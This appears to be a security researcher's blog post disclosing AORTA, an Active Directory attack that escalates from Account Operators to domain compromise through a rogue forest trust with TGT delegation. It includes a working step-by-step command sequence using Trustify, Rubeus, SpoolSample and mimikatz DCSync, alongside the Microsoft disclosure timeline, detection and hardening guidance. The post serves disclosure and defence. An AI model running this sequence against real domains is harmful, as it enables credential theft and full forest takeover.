Untrustworthy Trust Builders: Account Operators Replicating Trust Attack (AORTA)

TL;DR The Incoming Forest Trust Builders group (not AdminSDHolder protected) can create inbound forest trusts with ticket-granting ticket (TGT) delegation enabled. This configuration causes servers to send their TGT across the trust when coerced to authenticate to a computer with unconstrained delegation. An attacker can abuse this by creating a trust to a fake domain, coercing a DC to authenticate to a host in the fake domain with unconstrained delegation, and then use the TGT of the DC to perform DCSync. The coerced DC must perform Kerberos authentication to send its TGT, requiring a DNS conditional forwarder to the fake domain, which the DnsAdmins group (another group AdminSDHolder does not protect) can create.

The Active Directory (AD) group Account Operators has full control directly on almost all users, non-domain controller (DC) computers, and groups; however, AdminSDHolder protects the default, most-privileged groups and their members in AD. This includes groups like Domain Admins and Enterprise Admins, which have full control over the environment. The AdminSDHolder protection prevents Account Operators from directly controlling Tier Zero in a default AD environment.

But most organizations grant Tier Zero privileges to principals that AdminSDHolder does not protect. These include service principals with DCSync rights, and admins on Tier Zero systems, like a Certificate Authority (CA) admin. Because of this, an attacker can often find attack paths from Account Operators to Domain Admins, though these paths usually depend on custom permissions and differ across environments.

In this blog post, we will explore the discovery of an attack technique and attack path that requires no custom configuration; just a stock AD forest. The only assumptions are that the domain is the forest root and DNS is hosted on a DC (or member server), as it is by default.

Special thanks to Valdemar Carøe, Evan McBroom, Walter Legowski, Chris Thompson, and Elad Shamir for helping identify the RPC calls for creating trusts, build the proof of concept (POC) and tooling, name the attack, and validate how widespread the Incoming Forest Trust Builders group is used in customer environments. I am incredibly grateful to work with you!

The Incoming Forest Trust Builders Group

The AD group Incoming Forest Trust Builders is one of the default groups under the Builtin container in AD:

As the description states, members of this group can create incoming (i.e., inbound) one-way forest trusts. They have this capability because the group holds the Create-Inbound-Forest-Trust extended right on the domain object. The group only exists in the forest root domain.

Microsoft provides little documentation on this group, but its purpose seems to allow the creation of forest trusts without exposing Enterprise Admin credentials. By assigning a user to this group and using that account instead of an Enterprise Admin, organizations can avoid exposing their Tier Zero of a forest to another forest when creating a forest trust. Since forest trusts, whether one-way or two-way, do not inherently enable compromise across the trust boundary by default, it makes sense to isolate and protect Tier Zero assets on each side from the other side’s Tier Zero. Hence, the group seems to be a non-Tier Zero group.

However, some forest trust configurations do in fact enable compromise across the trust..

Attacking AD Trust with TGT Delegation Enabled

An AD trust enables principals of one domain to access resources in the other domain, in the opposite direction of the trust:

If the trust has TGT delegation enabled, an attacker in the trusting domain can compromise the trusted domain by coercing a DC of the target domain to authenticate to a server of the attacker-controlled domain with unconstrained delegation, e.g. a DC. With unconstrained delegation enabled, the target DC will send its TGT to the attacker. The attacker can DCSync the target domain with the target DC TGT. Will Schroeder first described this technique in his blog post Not A Security Boundary: Breaking Forest Trusts.

Alternatively, the attacker can target another Tier Zero server, use their TGT to perform a resource-based constrained delegation (RBCD) attack, obtain admin access to the host, and compromise the domain that way.

To execute the attack, the attacker must have privileges to coerce the target computer – privileges granted to Authenticated Users. With a two-way trust, the attacker can simply use a user from the target forest, as Authenticated Users extends across the trust. With a one-way trust, the attacker must use an account from the target forest. Fortunately for the attacker, they can abuse the trust account itself using the trust account attack, as Martin Sohn Christensen, Tobias Torp, and I blogged about some years ago: SID Filter as Security Boundary Between Domains? (Part 7) – Trust Account Attack – From Trusting to Trusted.

Microsoft’s Patch for TGT Delegation

Previously, AD enabled TGT delegation by default on all trusts. Shortly after Will’s blog post on forest trust abuse, Microsoft released a change that disabled TGT delegation by default for cross-forest trusts (including both forest and external trusts). You can find the details in Microsoft’s announcement: Updates to TGT Delegation Across Incoming Trusts in Windows Server.

Administrators can still enable TGT delegation manually by setting the TRUST_ATTRIBUTE_CROSS_ORGANIZATION_ENABLE_TGT_DELEGATION flag on the trust. For example, you can use the following netdom trust command:

netdom.exe trust fabrikam.com /domain:contoso.com /EnableTGTDelegation:Yes

Note that the setting applies to the inbound side of the trust. It has no effect on the outbound side.

Can Incoming Forest Trust Builders Create Trusts With TGT Delegation Enabled?

As we discussed in the previous section, a forest trust with TGT delegation enabled can lead to full forest compromise. So the question is: can members of the Incoming Forest Trust Builders group create such a trust?

Attempt #1: The GUI Way

You can create AD trusts using the New Trust Wizard:

However, the wizard does not have any options that allow you to enable TGT delegation.

Attempt #2: The CMD Way

You can create AD trusts with the netdom trust command, but again, no option allows you to enable TGT delegation. It is the same situation for the NET Forest class (System.DirectoryServices.ActiveDirectory).

Attempt #3: Enable TGT Delegation After Creating the Trust

I created an inbound forest trust using an account in the Incoming Forest Trust Builders group, then attempted to enable TGT delegation with netdom. This failed with an access denied error. The group does not have permissions to modify existing trusts. The trusted domain object (TDO) for the trust gets Domain Admins as owner, and only grants the creator of the trust delete permission and write property access scoped to an undocumented GUID (736e4812-af31-11d2-b7df-00805f48caeb) that does not exist in the default AD schema.

At this point, I figured it was not possible to create a forest trust with TGT delegation enabled and, even if it was possible, the Incoming Forest Trust Builders group would probably not be allowed to do it. However, I decided to jump both feet into the rabbit hole of figuring out how AD trusts are actually created. 

I had recently taken the Adversary Tactics: Tradecraft Analysis training course and saw this as the perfect opportunity to apply what I learned. I set out to understand exactly how AD creates forest trusts under the hood and how to replicate that behavior in a custom tool.

Analysis: How Active Directory Creates Trusts

To understand how AD creates trusts, I set up two AD forests and created a one-way trust between them – first using the GUI, then with netdom – while capturing the traffic in Wireshark.

Evan McBroom and Elad Shamir helped me with this process and, after reading docs and looking through the traffic, we realized that:

1. LsarOpenPolicy3 (Opnum 130) is used to open an context handle to the RPC server
   
2. LsarCreateTrustedDomainEx3 (Opnum 129) is used to create the trust

The GUI generates a large number of RPC calls during trust creation, making the analysis complex and noisy. In contrast, using netdom results in a much smaller and clearer set of RPC operations.

While comparing the two approaches, I noticed a key difference. When I created the trust through the GUI, I was able to coerce the DC in the target forest to initiate a connection to my DC in the attacker-controlled forest over Kerberos, but I could not do that when I created the trust using netdom. Despite this, the netdom created trust still functioned in other ways – for example, I could perform LDAP enumeration of the attacker domain using a user account from the target domain.

Further investigation revealed the reason for the discrepancy. The GUI calls an additional RPC operation, LsarSetForestTrustInformation (Opnum 74) to set additional trust information:

This operation populates the routing name suffixes associated with the trust. In the GUI, you can manually trigger this step after trust creation by clicking the “Refresh” button on the trust properties page.

Internally, this procedure populates the msDS-TrustForestTrustInfo attribute. This attribute includes the fully qualified domain name (FQDN), NetBIOS name, and security identifier (SID) of each domain within the specified forest.

Specification of TGT Delegation

AD controls TGT delegation through the trustAttributes attribute on the TDO. To enable it, you need to set the TRUST_ATTRIBUTE_CROSS_ORGANIZATION_ENABLE_TGT_DELEGATION flag.

This value gets passed in through the LSAPR_TRUSTED_DOMAIN_INFORMATION_EX structure when calling the LsarCreateTrustedDomainEx3 procedure. The documentation for that structure does not list the TGT delegation flag among the supported options:

Maybe Microsoft just forgot to update the docs, since the flag came in with a later patch. Or maybe they intentionally left it out to discourage people from enabling TGT delegation. Either way, I was curious to find out if setting the flag directly would actually work and I decided to test it.

Building a POC

I decided to create a POC for creating trusts in the very best programming language: PowerShell. The NtObjectManager project by the great James Forshaw makes it somewhat easy to interact with a RPC server.

Encrypted Trust Keys (or Not)

When creating a trust with LsarCreateTrustedDomainEx3, you must provide the trust keys encrypted using the LSAPR_TRUSTED_DOMAIN_AUTH_INFORMATION_INTERNAL_AES structure. I spent quite a bit of time trying to construct this structure correctly but I never got it working.

To move forward, I decided to switch to LsarCreateTrustedDomainEx (Opnum 51) instead. This procedure does not require encrypted trust keys but just the plaintext trust password, which makes the structure significantly easier to build.

Testing the POC

Eventually, I completed a working PowerShell script that successfully created a forest trust. Now I could test the key question: can a user with the Create-Inbound-Forest-Trust permission create a trust with TGT delegation enabled? Yes! The DC accepted the LSAPR_TRUSTED_DOMAIN_INFORMATION_EX structure with TrustAttributes set to 2056 (0x00000808) enabling the FOREST_TRANSITIVE and ENABLE_TGT_DELEGATION flags. 

To test the full attack, I stood up a new Windows server in my lab, promoted it to DC of its own forest, created the malicious trust, attempted coercion… and it did not work. The target DC connected over NTLM instead of Kerberos.

It’s Always DNS

I realized that DNS was not functioning properly. The forest trust requirements state that DNS must be correctly configured for Kerberos to work across forests. Typically, administrators configure conditional forwarders on both sides before creating the trust. However, regular users, and members of Incoming Forest Trust Builders, do not have permission to configure conditional forwarders.

Since Authenticated Users can create standard A records in DNS, I experimented with several workarounds to get Kerberos functioning across the trust. None of them succeeded.

The DnsAdmins group, on the other hand, does have permission to create conditional forwarders and this group is also under the control of Account Operators. After adding my test user to the DnsAdmins group and creating the necessary forwarder, the target DC connected over Kerberos following the coercion. I successfully captured the DC’s TGT and performed a DCSync. The attack finally worked!

Creating a Proper Tool – Time to Call for Help Again

The POC script I built was not great and only worked on specific operating system (OS) versions. I wanted a more reliable and portable tool for creating trusts with TGT delegation enabled.

This time, I reached out to my teammate Valdemar Carøe for help. Valdemar quickly discovered that netdom uses advapi32.dll instead of communicating with the RPC server directly. He replicated this behavior in a custom command-line tool that creates malicious inbound forest trusts with TGT delegation enabled.

The tool is available here: https://github.com/bytewreck/Trustify 

A big thank you to Valdemar for building it. Figuring that out on my own would have taken me forever!

Account Operators Replicating Trust Attack (AORTA)

Aorta is the name of the main artery of the body. Thanks to Chris Thompson for coming up with a cool attack name!

Members of Account Operators in the forest root domain can compromise the domain with the following steps:

1. Prepare an attacker-controlled domain. Setup a Windows host on the network to be its own AD domain, and create a DNS conditional forwarder for the target domain and an outbound forest trust to the target domain
2. Add the attacker user to Incoming Forest Trust Builders and DnsAdmins of the target domain
3. Create an inbound forest trust with TGT delegation enabled in target domain for the attacker-controlled domain
4. Create a DNS conditional forwarder in target domain for the attacker-controlled domain
5. Coerce the target DC to authenticate to a server in the attacker-controlled domain with unconstrained delegation, and receive the target DC’s TGT
6. DCSync the target domain using the target DC’s TGT

Here is a visualization of the attack:

Attack Commands and Demo 

We have added an attacker-controlled Windows computer to the network and promoted it to be a DC for its own domain.

Attacker-controlled domain:

• FQDN: attacker.local
• NetBIOS: ATTACKER
• SID: S-1-5-21-1556913138-1403956553-584833181
• DC Hostname: attackerdc.attacker.local
• DC IP: 192.168.100.99

Target domain: 

• FQDN: target.local
• NetBIOS: TARGET
• DC Hostname: dc01.target.local
• DC IP: 192.168.100.60

Our access: User operator@target.local with membership in Account Operators.

1) Prepare the attacker-controlled domain

As Administrator on attackerdc, set up DNS conditional forwarder to target.local locally using PowerShell:

Add-DnsServerConditionalForwarderZone -Name target.local -MasterServers 192.168.100.60

Create one-way outgoing forest trust from attacker.local to target.local:

1. Open Active Directory Domains and Trusts as Administrator on attackerdc
2. Right-click on “attacker.local”, and click on “Properties”
3. Go to the “Trusts” tab, and click “New Trusts…”
4. Click “Next”, type “target.local” and click “Next”
5. Select “Forest trust” and click “Next”
6. Select “One-way outgoing” and click “Next”
7. Select “This domain only” and click “Next”
8. Select “Forest-wide authentication” and click “Next”
9. Enter the trust password “Summer2025!” twice and click “Next”
10. Click “Next”, then “Next”, then “Yes, confirm the outgoing trust”, and “Next”
11. “Click Finish”

2) Add the ‘operator’ user to Incoming Forest Trust Builders and DnsAdmins

Start PowerShell as operator@target.local on attackerdc:

runas /netonly /user:operator@target.local powershell

Add an operator to the two groups:

Add-ADGroupMember -Identity "Incoming Forest Trust Builders" -Members operator -Server target.local
Add-ADGroupMember -Identity "DnsAdmins" -Members operator -Server target.local

Clear Kerberos tickets to ensure new ones are requested with the updated membership:

klist purge

3) Create an inbound forest trust with TGT delegation enabled in target domain

As operator@target.local on attackerdc, create inbound trust in target.local using Trustify:

Trustify.exe create target.local S-1-5-21-1556913138-1403956553-584833181 attacker.local ATTACKER Summer2025!

Verify the trust was created:

Get-ADTrust attacker.local -Server target.local

4) Create a DNS conditional forwarder in the target domain for the attacker-controlled domain

As operator@target.local on attackerdc, create the DNS conditional forwarder for attacker.local in target.local:

Add-DnsServerConditionalForwarderZone -Name attacker.local -MasterServers 192.168.100.99 -ComputerName dc01.target.local

5) Coerce the target DC

As Administrator on attackerdc, use Rubeus to start a listener for Kerberos TGTs:

Rubeus.exe monitor /interval:5 /nowrap

As operator@target.local on attackerdc, use SpoolSample to coerce the target DC 

SpoolSample.exe dc01.target.local attackerdc.attacker.local

6) DCSync BUILTIN\Administrator in target domain

As Administrator on attackerdc, clear Kerberos tickets:

klist purge

Use Rubeus to inject the target DC TGT into memory :

Rubeus.exe ptt /ticket:<dc01 ticket from Rubeus.exe monitor>

Start mimikatz:

mimikatz.exe

DCSync Administrator of target forest:

lsadump::dcsync /domain:target.local /user:TARGET\Administrator /dc:dc01.target.local

A full demo of the attack is available here:

MSRC Response

I reported the attack technique to Microsoft Security Response Center (MSRC), and suggested to either:

• Deny creation of AD forest trusts with TGT delegation enabled if the principal only has the Create-Inbound-Forest-Trust extended right on the domain and not GenericAll
• Adding AdminSDHolder protection to the Incoming Forest Trust Builders group

MSRC deemed it “moderate security” and not “important” or “critical” which is required for immediate servicing. Their final response was:

“After further review of our existing Active Directory documentation (Active Directory Security Groups | Microsoft Learn & Appendix B – Privileged Accounts and Groups in Active Directory | Microsoft Learn), our only concern is that our current documentation does not explicitly state that granting permission to create trusts is an unsafe role to assign to someone.

However, it is documented that incoming forest trusts that enable TGT delegation are unsafe. We have committed to updating our documentation regarding the Incoming Forest Trust Builders group, highlighting that configuring a trust to enable TGT delegation is unsafe.”

The group description at Appendix B – Privileged Accounts and Groups in Active Directory was updated on March 27, 2025 to include the following phrase: “Members of this group can create incoming trusts that allow TGT delegation which can lead to compromise of your forest – see Updates to TGT delegation across incoming trusts in Windows Server”. 

Updating the documentation is better than nothing. I understand that Microsoft probably has more urgent security issues to handle, but I still believe it is a mistake to not protect Incoming Forest Trust Builders like other Tier Zero groups with AdminSDHolder, or modify the Create-Inbound-Forest-Trust extended right such that it is not an enabling factor in an attack.

Timeline:

• 2024-12-03: Vulnerability reported 
• 2025-01-21 – 24: Back and forth communication to clarity aspects of the attack and clear misunderstandings
• 2025-03-04: MSRC final decision received
• 2025-03-27: Blog post draft shared with MSRC
• 2025-06-06: Updated blog post draft and Troopers presentation shared with MSRC
• 2025-06-25: Presentation of attack technique at Troopers and blog publication

Detection

Creation of new AD trusts can be caught with the Windows event ID 4706 – A new trust was created to a domain on DCs. AD trusts are rarely added, so this event should not cause a ton of false positives. To narrow it down to the specific case where a forest trust is added with TGT delegation enabled, find events where the bitmask value of TdoAttributes contains the two flags:

• 0x00000008: TRUST_ATTRIBUTE_FOREST_TRANSITIVE
• 0x00000800: TRUST_ATTRIBUTE_CROSS_ORGANIZATION_ENABLE_TGT_DELEGATION

Note that the attacker might add additional flags, so a detection for the 0x00000808 value specifically leaves room for false negatives.

The event is logged by default on DCs. It comes from having Audit Authentication Policy Change enabled for “Success” or “Not configured”:

Attack Prevention

You should treat Account Operators, Incoming Forest Trust Builders, and DnsAdmins as Tier Zero. With the publication of this blog post, I will update the TierZeroTable to include the Incoming Forest Trust Builders group which was missing.

One way to block this attack path is by preventing coercion, but doing so without disrupting DC functionality is difficult to my understanding. A more practical and effective approach is to harden your Tier Zero computers, especially DC, against unconstrained delegation.

You can do this by marking computer accounts “as sensitive” using the NOT_DELEGATED flag (0x100000) in the UserAccountControl attribute. This instructs hosts not to send their TGTs to systems that are trusted for unconstrained delegation. Tier Zero systems generally do not need to perform Kerberos delegation, so this setting should not impact legitimate operations. You can apply this setting with the Active Directory PowerShell module:

Set-ADComputer <computername> -AccountNotDelegated:$True

Note: You must reboot the host after applying the change so it can request a new TGT with the appropriate flags.

If you want to go even further, consider adding your Tier Zero computers to the Protected Users group. Microsoft advises against it, stating: “Never add accounts for services and computers to the Protected Users group. For those accounts, membership doesn’t provide local protections because the password and certificate is always available on the host.” 

However, the goal here is not to protect local credentials, but rather to prevent Kerberos delegation of the computer account, which this setting accomplishes. As a bonus, Protected Users also blocks outbound NTLM authentication, helping defend against NTLM relay attacks.

This hardening can break things, as NTLM remains widely used. Still, at least one very large BloodHound Enterprise customer has added all of their DCs to the Protected Users group, proving that this level of protection is achievable in real-world environments.

Final Words

This attack technique is not a huge issue in itself. It is mostly just another way to escalate from Account Operators to Domain Admins. Account Operators already have full control over users, groups, and non-DC computers, unless AdminSDHolder protects those objects, so there are typically many viable attack paths from this group to full domain compromise.

Walter Legowski helped me check memberships of the Incoming Forest Trust Builders group in a bunch of BloodHound Enterprise customers. We found no members in any of them. The primary concern, therefore, is who controls the group, rather than who is already in it. 

Historically, you could escalate from DnsAdmins to Domain Admins by loading an arbitrary DLL on a DNS server, as Shay Ber discovered and described in this post: Feature, not bug: DNSAdmin to DC compromise in one line. Although this attack was patched in 2021, control over DNS still presents a risk on its own: attackers can influence where privileged principals connect, enabling relay attacks. These are not always feasible though, as services may require signing or sealing.

There are other builtin groups AdminSDHolder does not protect that can enable domain compromise:

• Ori David describes how DHCP Administrators enable a domain compromise with a relay attack: Abusing the DHCP Administrators Group to Escalate Privileges in Windows Domains
• Andrea Pierini describes how Cert Publishers sometimes have the permissions to compromise the domain through ADCS: A “deep dive” in Cert Publishers Group
• Géraud de Drouas created a GitHub repo documenting Exchange AD attacks (Exchange-AD-Privesc). Not all of these attacks are possible anymore, but the groups Exchange Windows Permissions and Exchange Trusted Subsystem can still compromise AD in many cases

Most of these attacks require specific conditions to succeed. What makes AORTA cool from the attacker perspective is that it works out of the box in a completely vanilla AD environment. If an attacker has Account Operators rights in the forest root domain, they do not need to look for Tier Zero accounts AdminSDHolder does not protect. This technique is immediately viable, as long as DNS runs on a DC or domain-joined member server. 

That said, this attack is not trivial to execute. The main limitation is the need to introduce an attacker-controlled Windows host to the network (the attacker-controlled DC). It might be possible to develop a tool that emulates DC behavior or proxies the necessary traffic, but I have not explored those options. Executing the full attack from a domain-joined host remains a challenge.